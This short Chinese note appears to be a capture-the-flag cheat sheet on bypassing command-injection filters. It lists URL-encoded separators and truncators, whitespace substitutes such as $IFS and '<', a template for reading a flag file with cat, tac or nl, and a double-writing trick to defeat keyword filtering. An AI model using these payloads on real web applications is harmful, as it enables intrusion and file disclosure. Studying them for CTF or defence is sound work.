按我的想法,%09用于语句中间,%0a可以做语句末尾的截断,此外 || &&(要进行url编码成%26%26) %26这三种也是可以进行末尾的截断的
截断:
后面:&&(要进行url编码成%26%26) , || , %0a,
语句中:%09 , <(用于拼接命令,比如nl<fl??.php) , '' ,$IFS
命令:
c=[tac|cat|nl 等] [ |%09|$IFS|<|>] [../|./|/(目录)] [文件名] [%26| ‘||’ |%0a |%26%26(隔断符)]
文件名被过滤:
-
替换为空字符:采用双写,比如过滤了flag 双写为flflagag
-
直接过滤掉:1- \ 2-'' 3- %09 4-$IFS 5- '.' 6-< 7->